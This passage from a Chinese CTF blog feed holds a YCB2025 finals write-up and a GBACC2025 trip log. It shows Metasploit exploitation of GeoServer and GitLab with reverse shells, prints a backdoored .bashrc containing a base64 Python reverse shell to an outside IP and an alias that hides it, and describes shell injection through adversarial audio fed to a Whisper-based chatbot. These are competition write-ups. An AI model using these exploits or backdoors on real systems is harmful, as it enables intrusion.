class="number">5</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2025-05-22 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">179</span>, <span class="number">2</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-05-23 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">180</span>, <span class="number">9</span>, <span class="number">6</span>, <span class="number">5</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-05-24 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">181</span>, <span class="number">6</span>, <span class="number">2</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-05-25 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">182</span>, <span class="number">9</span>, <span class="number">8</span>, <span class="number">2</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2025-05-26 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">183</span>, <span class="number">9</span>, <span class="number">6</span>, <span class="number">3</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-05-27 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">184</span>, <span class="number">19</span>, <span class="number">8</span>, <span class="number">1</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-05-28 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">185</span>, <span class="number">10</span>, <span class="number">9</span>, <span class="number">2</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-05-29 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">186</span>, <span class="number">20</span>, <span class="number">1</span>, <span class="number">5</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2025-05-30 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">187</span>, <span class="number">3</span>, <span class="number">5</span>, <span class="number">2</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2025-05-31 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">188</span>, <span class="number">8</span>, <span class="number">7</span>, <span class="number">4</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-06-01 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">189</span>, <span class="number">6</span>, <span class="number">3</span>, <span class="number">2</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-06-02 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">190</span>, <span class="number">9</span>, <span class="number">4</span>, <span class="number">2</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-06-03 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">191</span>, <span class="number">1</span>, <span class="number">9</span>, <span class="number">3</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-06-04 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">192</span>, <span class="number">11</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-06-05 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">193</span>, <span class="number">4</span>, <span class="number">7</span>, <span class="number">2</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-07-06 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">194</span>, <span class="number">11</span>, <span class="number">4</span>, <span class="number">4</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-07-07 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">195</span>, <span class="number">7</span>, <span class="number">7</span>, <span class="number">4</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-07-08 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">196</span>, <span class="number">3</span>, <span class="number">6</span>, <span class="number">3</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-07-09 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">197</span>, <span class="number">11</span>, <span class="number">4</span>, <span class="number">2</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-07-10 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">198</span>, <span class="number">7</span>, <span class="number">7</span>, <span class="number">1</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-07-11 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">199</span>, <span class="number">2</span>, <span class="number">4</span>, <span class="number">1</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-07-12 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">200</span>, <span class="number">4</span>, <span class="number">10</span>, <span class="number">2</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-07-13 10:00:00&#x27;</span>);</span><br></pre></td></tr></table></figure><p>最终整个队伍用时 1:10:18 成功 AK 了数据安全类别所有题目，成为第一个 AK 数据安全类别的队伍</p><p><img src="https://assets.bili33.top/img/CTF-YCB2025-Finals/image-20251025113324-fclkqkk.png?v=1"></p><h1 id="综合渗透与应急响应"><a href="#综合渗透与应急响应" class="headerlink" title="综合渗透与应急响应"></a>综合渗透与应急响应</h1><p>本次的渗透与应急响应，说实话 msf 的效果远超预期，我出的都是走 msf 出来的</p><h2 id="Geoserver"><a href="#Geoserver" class="headerlink" title="Geoserver"></a>Geoserver</h2><h3 id="应急响应-1"><a href="#应急响应-1" class="headerlink" title="应急响应 1"></a>应急响应 1</h3><blockquote><p>对入口点geoserver系统进行入侵排查，找到攻击者隐藏后门，提交后门中回连的IP地址及端口号。（如 1.1.1.1:8080）</p></blockquote><p>这个是开在了 8080 端口的一个服务，先搜索一下 msf 的数据库</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">msfconsole</span></span><br><span class="line"></span><br><span class="line">msf &gt; search geoserver</span><br><span class="line"></span><br><span class="line">Matching Modules</span><br><span class="line">================</span><br><span class="line"></span><br><span class="line"><span class="meta prompt_">   # </span><span class="language-bash"> Name                                                    Disclosure Date  Rank       Check  Description</span></span><br><span class="line">   -  ----                                                    ---------------  ----       -----  -----------</span><br><span class="line">   0  exploit/multi/http/geoserver_unauth_rce_cve_2024_36401  2024-07-01       excellent  Yes    Geoserver unauthenticated Remote Code Execution</span><br><span class="line">   1    \_ target: Unix Command                               .                .          .      .</span><br><span class="line">   2    \_ target: Windows Command                            .                .          .      .</span><br></pre></td></tr></table></figure><p>发现有一个 RCE，尝试利用一下</p><p>下面一定要设置一下 payload 为 <code>payload/cmd/linux/http/x64/shell/reverse_tcp </code>，打 <code>use 1</code> 的时候默认选的是 <code>aarch64</code> 的反向 tcp，与目标系统不匹配，会弹不回来 session</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">msf &gt; use 1</span><br><span class="line"></span><br><span class="line">msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) &gt; set payload payload/cmd/linux/http/x64/shell/reverse_tcp </span><br><span class="line">payload =&gt; cmd/linux/http/x64/shell/reverse_tcp</span><br><span class="line"></span><br><span class="line">msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) &gt; set RHOST 10.1.119.30</span><br><span class="line">RHOST =&gt; 10.1.119.30</span><br><span class="line"></span><br><span class="line">msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) &gt; run</span><br><span class="line">[*] Started reverse TCP handler on 10.50.119.20:4444 </span><br><span class="line">[*] Running automatic check (&quot;set AutoCheck false&quot; to disable)</span><br><span class="line">[*] Trying to detect if target is running a vulnerable version of GeoServer.</span><br><span class="line">[+] The target appears to be vulnerable. Version 2.19.2</span><br><span class="line">[*] Executing Unix Command for cmd/linux/http/x64/shell/reverse_tcp</span><br><span class="line">[*] Sending stage (38 bytes) to 10.1.119.30</span><br><span class="line">[*] Command shell session 1 opened (10.50.119.20:4444 -&gt; 10.1.119.30:43596) at 2025-10-25 00:54:05 -0400</span><br></pre></td></tr></table></figure><p>然后就直接跑通了，用 <code>shell</code> 命令拿一个会话</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">shell</span><br><span class="line">[*] Trying to find binary &#x27;python&#x27; on the target machine</span><br><span class="line">[-] python not found</span><br><span class="line">[*] Trying to find binary &#x27;python3&#x27; on the target machine</span><br><span class="line">[*] Found python3 at /usr/bin/python3</span><br><span class="line">[*] Using `python` to pop up an interactive shell</span><br><span class="line">[*] Trying to find binary &#x27;bash&#x27; on the target machine</span><br><span class="line">[*] Found bash at /bin/bash</span><br><span class="line"></span><br><span class="line">root@e80e8e169570:/mnt/geoserver# </span><br></pre></td></tr></table></figure><p>检查到 <code>/root/.bashrc</code> 有恶意代码</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">cat .bashrc</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">~/.bashrc: executed by bash(1) <span class="keyword">for</span> non-login shells.</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">Note: PS1 and <span class="built_in">umask</span> are already <span class="built_in">set</span> <span class="keyword">in</span> /etc/profile. You should not</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">need this unless you want different defaults <span class="keyword">for</span> root.</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">PS1=<span class="string">&#x27;$&#123;debian_chroot:+($debian_chroot)&#125;\h:\w\$ &#x27;</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash"><span class="built_in">umask</span> 022</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">You may uncomment the following lines <span class="keyword">if</span> you want `<span class="built_in">ls</span><span class="string">&#x27; to be colorized:</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash"><span class="string">export LS_OPTIONS=&#x27;</span>--color=auto<span class="string">&#x27;</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash"><span class="string">eval &quot;$(dircolors)&quot;</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash"><span class="string">alias ls=&#x27;</span><span class="built_in">ls</span> <span class="variable">$LS_OPTIONS</span><span class="string">&#x27;</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash"><span class="string">alias ll=&#x27;</span><span class="built_in">ls</span> <span class="variable">$LS_OPTIONS</span> -l<span class="string">&#x27;</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash"><span class="string">alias l=&#x27;</span><span class="built_in">ls</span> <span class="variable">$LS_OPTIONS</span> -lA<span class="string">&#x27;</span></span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash"><span class="string"></span></span></span><br><span class="line"><span class="string"><span class="language-bash"># Some more alias to avoid making mistakes:</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash"><span class="string">alias rm=&#x27;</span><span class="built_in">rm</span> -i<span class="string">&#x27;</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash"><span class="string">alias cp=&#x27;</span><span class="built_in">cp</span> -i<span class="string">&#x27;</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash"><span class="string">alias mv=&#x27;</span><span class="built_in">mv</span> -i<span class="string">&#x27;</span></span></span><br><span class="line">alias ls=&#x27;alerts()&#123; ls $* --color=auto;python3 -c &quot;import base64,sys;exec(base64.b64decode(&#123;2:str,3:lambda b:bytes(b,&#x27;\&#x27;&#x27;UTF-8&#x27;\&#x27;&#x27;)&#125;[sys.version_info[0]](&#x27;\&#x27;&#x27;aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiNDMuMjQuMTkyLjI1MSIsIDk5OTkpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp&#x27;\&#x27;&#x27;)))&quot;;&#125;;alerts&#x27;</span><br><span class="line">alias alias=&#x27;alerts()&#123; alias &quot;$@&quot; | grep -v unalias | sed &quot;s/alerts.*lambda.*/ls --color=auto&#x27;\&#x27;&#x27;/&quot;;&#125;;alerts&#x27;</span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/CTF-YCB2025-Finals/image-20251025131938-7jl31mm.png?v=1"></p><p>答案为 <code>43.24.192.251:9999</code></p><h3 id="综合渗透-3"><a href="#综合渗透-3" class="headerlink" title="综合渗透 3"></a>综合渗透 3</h3><p>顺带 <code>cat /flag</code> 出综合渗透 3 的 flag</p><p><img src="https://assets.bili33.top/img/CTF-YCB2025-Finals/image-20251025130733-q9q20n0.png?v=1"></p><h2 id="Gitlab"><a href="#Gitlab" class="headerlink" title="Gitlab"></a>Gitlab</h2><h3 id="应急响应-5"><a href="#应急响应-5" class="headerlink" title="应急响应 5"></a>应急响应 5</h3><blockquote><p>找 GitLab 后门中回连的IP地址及端口号</p></blockquote><p>这题队友先到内网里面去用 FRP 把内网穿透出来到我们比赛内网了，给我开了一个 socks5 的代理 <code>socks5://10.50.119.22:7007</code></p><p>还是去 msf 里面搜索一下 gitlab，能搜出来很多，但是能用来 rce 的很少，有这样一个 CVE 被我抓住了（其实是不断试错试到了这个）</p><p>而且这个 exploit 的描述里面有 <code>GitLab Unauthenticated</code>，很符合我们登陆不进去的情况</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">msf exploit &gt; search gitlab</span><br><span class="line"></span><br><span class="line">   8   exploit/multi/http/gitlab_exif_rce                           2021-04-14       excellent  Yes    GitLab Unauthenticated Remote ExifTool Command Injection</span><br><span class="line">   9     \_ target: Unix Command                                    .                .          .      .</span><br><span class="line">   10    \_ target: Linux Dropper      </span><br></pre></td></tr></table></figure><p>那还说啥，直接用呗，先配置一条龙</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">msf &gt; use 9</span><br><span class="line">msf exploit(multi/http/gitlab_exif_rce) &gt; set RHOSTS 192.168.190.20</span><br><span class="line">RHOSTS =&gt; 192.168.190.20</span><br><span class="line"></span><br><span class="line">msf exploit(multi/http/gitlab_exif_rce) &gt; set RPORT 8000</span><br><span class="line">RPORT =&gt; 8000</span><br><span class="line"></span><br><span class="line">msf exploit(multi/http/gitlab_exif_rce) &gt; set LHOST YOUR_IP</span><br><span class="line">LHOST =&gt; YOUR_IP</span><br><span class="line"></span><br><span class="line">msf exploit(multi/http/gitlab_exif_rce)&gt; set Proxies socks5://10.50.119.22:7007</span><br><span class="line">Proxies =&gt; socks5://10.50.119.22:7007</span><br><span class="line"></span><br><span class="line">msf exploit(multi/http/gitlab_exif_rce) &gt; set ReverseAllowProxy true</span><br><span class="line">ReverseAllowProxy =&gt; true</span><br><span class="line"></span><br><span class="line">msf exploit(multi/http/gitlab_exif_rce) &gt; run</span><br></pre></td></tr></table></figure><p>然后就跑通了</p><p>这题出来纯属误打误撞，原来的题目说是要找到木马文件逆向的，但是我看 netstat 了</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">netstat -ano</span></span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/CTF-YCB2025-Finals/image-20251025153345-1rj78rg.png?v=1"></p><p>发现建立了很多与 <code>10.3.4.66:12615</code> 的连接，所以就交了，结果就对了 &#x3D;-&#x3D;</p><h3 id="综合渗透-4"><a href="#综合渗透-4" class="headerlink" title="综合渗透 4"></a>综合渗透 4</h3><p>依旧是 <code>cat /flag</code></p><p><img src="https://assets.bili33.top/img/CTF-YCB2025-Finals/image-20251025150021-jct14sq.png?v=1"></p><h3 id="应急响应-4（赛后出）"><a href="#应急响应-4（赛后出）" class="headerlink" title="应急响应 4（赛后出）"></a>应急响应 4（赛后出）</h3><blockquote><p>这题要找被黑客替换掉的程序</p></blockquote><p>赛后跟别人讨论的时候出的</p><p>在找马的时候，我习惯性用 ps 的，结果 ps 只有 bash 这一个结果，而且我用 msf 获取的恰好是 bash，我以为是权限不够还是咋滴，写了个替代方案去读 <code>/proc/cmdline</code>，结果没想到被我认为是障眼法的 <code>ps</code> 是最终答案 &#x3D;&gt; <code>/bin/ps</code>，血亏 300 分（虽然交了也没有二等奖）</p><h1 id="FIN"><a href="#FIN" class="headerlink" title="FIN"></a>FIN</h1><p><img src="https://assets.bili33.top/img/CTF-YCB2025-Finals/4EBBB0A6B9013179887468B17B7AF520.jpg?v=1"></p><p><img src="https://assets.bili33.top/img/CTF-YCB2025-Finals/CE9F9FA8493F857C94A387D0D621C761.jpg?v=1"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="CTF" scheme="https://bili33.top/categories/CTF/"/>
    
    
    <category term="CTF" scheme="https://bili33.top/tags/CTF/"/>
    
    <category term="YCB" scheme="https://bili33.top/tags/YCB/"/>
    
    <category term="羊城杯" scheme="https://bili33.top/tags/%E7%BE%8A%E5%9F%8E%E6%9D%AF/"/>
    
    <category term="羊城杯2025" scheme="https://bili33.top/tags/%E7%BE%8A%E5%9F%8E%E6%9D%AF2025/"/>
    
  </entry>
  
  <entry>
    <title>2025 湾区杯决赛（AKA 珠海旅行记录）</title>
    <link href="https://bili33.top/posts/CTF-GBACC2025-Finals/"/>
    <id>https://bili33.top/posts/CTF-GBACC2025-Finals/</id>
    <published>2025-09-30T08:53:50.000Z</published>
    <updated>2026-03-31T05:59:59.340Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>本次也是非常幸运的，在候补名单里面进了 GBACC 的决赛</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/Acrobat_asRmz5jCpJ.png"></p><p>因为得到消息的时候，是周四，我们下周一就要打决赛了，所以光速定了酒店和过去的高铁票</p><p>同样，因为是决赛，所以很可能就会变成我们的公费旅游环节，比赛的东西我会放到最后的</p><h1 id="旅游"><a href="#旅游" class="headerlink" title="旅游"></a>旅游</h1><h2 id="比赛前日——出发"><a href="#比赛前日——出发" class="headerlink" title="比赛前日——出发"></a>比赛前日——出发</h2><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210994641.jpg"></p><p>我们是周六去的珠海，当天早上买的 10:14 的票从南站出发去的，第一次坐到有这样的桌子的高铁</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210994399.jpg"></p><p>我们总共两个队伍去，在我们没有商量的情况下，我们甚至买的同一班高铁（笑哭）</p><p>到了以后，我们先去酒店办理入住，但是因为我们来的太早了，实在是没有清理好的客房，于是让我们做了个登记，我们就去吃午餐了</p><p>在附近的广场吃完午餐，就去赛场先签到了</p><h2 id="比赛前日——签到"><a href="#比赛前日——签到" class="headerlink" title="比赛前日——签到"></a>比赛前日——签到</h2><p>比赛场馆是珠海国际会展中心，这个地方说实话，是真的大啊~~~</p><p>给你们看张酒店拍的图，感受一下（对面是澳门）</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210992340.jpg"></p><p>反正一路上走，看到很多湾区杯的牌牌，想着跟着走准没错，结果走了快20分钟才到那个门口（问就是找错门了）</p><p>首先在门口看到的，就是两个大牌牌</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210994707.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210992633.jpg"></p><p>然后我们一路坐电梯上到4楼（这栋建筑只有1楼和4楼），找到签到处，签了个到，领取了我们的物资</p><blockquote><p>其实我们第一次来的时候，来太早了，他们没上班，我们在隔壁的酒店坐了一会才过来的</p></blockquote><p>把东西拿回酒店后，给手机稍微充了一下电我就出门了，我要去找我复读的哥们</p><h2 id="比赛前日——串门"><a href="#比赛前日——串门" class="headerlink" title="比赛前日——串门"></a>比赛前日——串门</h2><p>本次的目标是暨南大学（珠海校区），距离我们的酒店也不是很远，八公里，直接打个车过去</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210992871.jpg"></p><p>与大多数高校相同，这里不让陌生人进去，要进去只能混闸，那没办法，只能等哥们出来接了</p><p>我们先去吃了冰，说实话，我已经很久没吃过冰了，偶尔吃一次还是可以的</p><p>然后我们就逛了一圈暨大珠海（没拍图），我还见到了一种没见过的取快递方式</p><p>我们学校这边的驿站是会把取件码发到手机上的，凭取件码拿件后自助出库，或者是丰巢柜直接取，这边不是</p><p>首先，你得先根据提示找到你快递所属的快递公司，然后在货架上找到自己的快递</p><p>然后，你要打开拼多多（我也不知道为什么限定pdd），将身份码与你快递的条码同时放在自助出库机的摄像头内，同时扫到两个才能出库</p><p>emmmm，我不好评价，我感觉效率应该会很低</p><h2 id="比赛前日——看题"><a href="#比赛前日——看题" class="headerlink" title="比赛前日——看题"></a>比赛前日——看题</h2><p>比赛前一天，把AI题的附件给我们了，顺带告诉我们需要什么环境（鉴定为优秀赛事组委会）</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/Weixin_9TP5oKtUkV.png"></p><p>然后我们就得到了 AI 题的附件，具体情况看下面比赛那一节吧</p><h2 id="比赛当天——赛场"><a href="#比赛当天——赛场" class="headerlink" title="比赛当天——赛场"></a>比赛当天——赛场</h2><p>当天来到我们的位置，就看到了小零食袋</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210992502.jpg"></p><p>呜，第一次遇到会给零食袋到座位上的赛事组委会，他真的，我哭死｡°(°¯᷄◠¯᷅°)°｡</p><p>我们就迅速整理好我们的设备，然后进入了摸鱼模式（因为有开幕式）</p><h2 id="比赛当天——赛中"><a href="#比赛当天——赛中" class="headerlink" title="比赛当天——赛中"></a>比赛当天——赛中</h2><p>到了九点半，终于开打了，然后开场 AI 题就不出所料的，被爆了</p><p>比赛过程中我们还是尽力去打了，但是嘛，yysy，干不过 &#x3D;-&#x3D;</p><h2 id="比赛当天——赛后"><a href="#比赛当天——赛后" class="headerlink" title="比赛当天——赛后"></a>比赛当天——赛后</h2><p>赛后，见到了群里的 <a href="https://github.com/Lil-Ran">@Lil-Ran</a> 和 <a href="https://github.com/ProbiusOfficial">@ProbiusOfficial</a>，<a href="https://github.com/Lil-Ran">@Lil-Ran</a> 是专程过来玩的，<a href="https://github.com/ProbiusOfficial">@ProbiusOfficial</a> 是参赛选手（也是跟探姬同台竞技了）</p><p>其实吧，CTFer 面基就是，<strong>线上全是E人，线下全是I人</strong>，真的会很尴尬的</p><p>最后我们拿到的是入围奖（即参与奖），也是当做经历的一部分了</p><h1 id="比赛"><a href="#比赛" class="headerlink" title="比赛"></a>比赛</h1><p>比赛这方面，因为不让用网（线下赛是这样的），所以打起来很多东西没法搜，特别是 <code>S7COMM</code> 协议的报文格式，我是真的没存，所以那个题目出不来</p><p>下面还是说一下我出来的那几个题目吧</p><h2 id="AI-题"><a href="#AI-题" class="headerlink" title="AI 题"></a>AI 题</h2><p>我忘了这题的题目名称叫什么了，反正是个 AI 题，提前给了附件的</p><p>在回到酒店以后，把附件下载下来，发现是一个LLM服务，但本质上是一个可利用语音识别的半个伪MCP服务</p><p>为什么我会说是 MCP 服务，是因为在代码中有这样的内容</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">chatbot_proc = <span class="keyword">await</span> asyncio.create_subprocess_shell(</span><br><span class="line">    <span class="string">f&quot;python3 chatbot.py &#x27;<span class="subst">&#123;transcription&#125;</span>&#x27;&quot;</span>,</span><br><span class="line">    stdout=asyncio.subprocess.PIPE,</span><br><span class="line">    stderr=asyncio.subprocess.STDOUT</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>chatbot.py 的用法是这样的</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) &lt; <span class="number">2</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;用法: python chat.py \&quot;你的问题\&quot;&quot;</span>) </span><br><span class="line">        sys.exit(<span class="number">0</span>)</span><br><span class="line">    user_input = <span class="string">&quot; &quot;</span>.join(sys.argv[<span class="number">1</span>:])</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;Chatbot:&quot;</span>, get_response(user_input))</span><br></pre></td></tr></table></figure><p>所以说，理论上，我们直接干扰这里传入的 <code>transcription</code> 即可，有点像 sql 注入，例如，这里假设我们传入 <code>&#39;; echo Hacked&#39;</code>，那么拼接就得到 <code>python chatbot.py &#39;; echo Hacked&#39;</code></p><p>根据这样的代码，能够搜到一篇文章</p><blockquote><p><a href="https://blog.bi0s.in/2025/07/14/Misc/DontWhisper-bi0sCTF2025/">https://blog.bi0s.in/2025/07/14/Misc/DontWhisper-bi0sCTF2025/</a></p></blockquote><p>里面给出了他们的原理和代码，我就不再赘述了，直接拿过来用</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> torch</span><br><span class="line"><span class="keyword">from</span> whisper <span class="keyword">import</span> load_model</span><br><span class="line"><span class="keyword">from</span> whisper.audio <span class="keyword">import</span> log_mel_spectrogram, pad_or_trim</span><br><span class="line"><span class="keyword">from</span> whisper.tokenizer <span class="keyword">import</span> get_tokenizer</span><br><span class="line"><span class="keyword">import</span> torchaudio</span><br><span class="line"><span class="keyword">from</span> torch 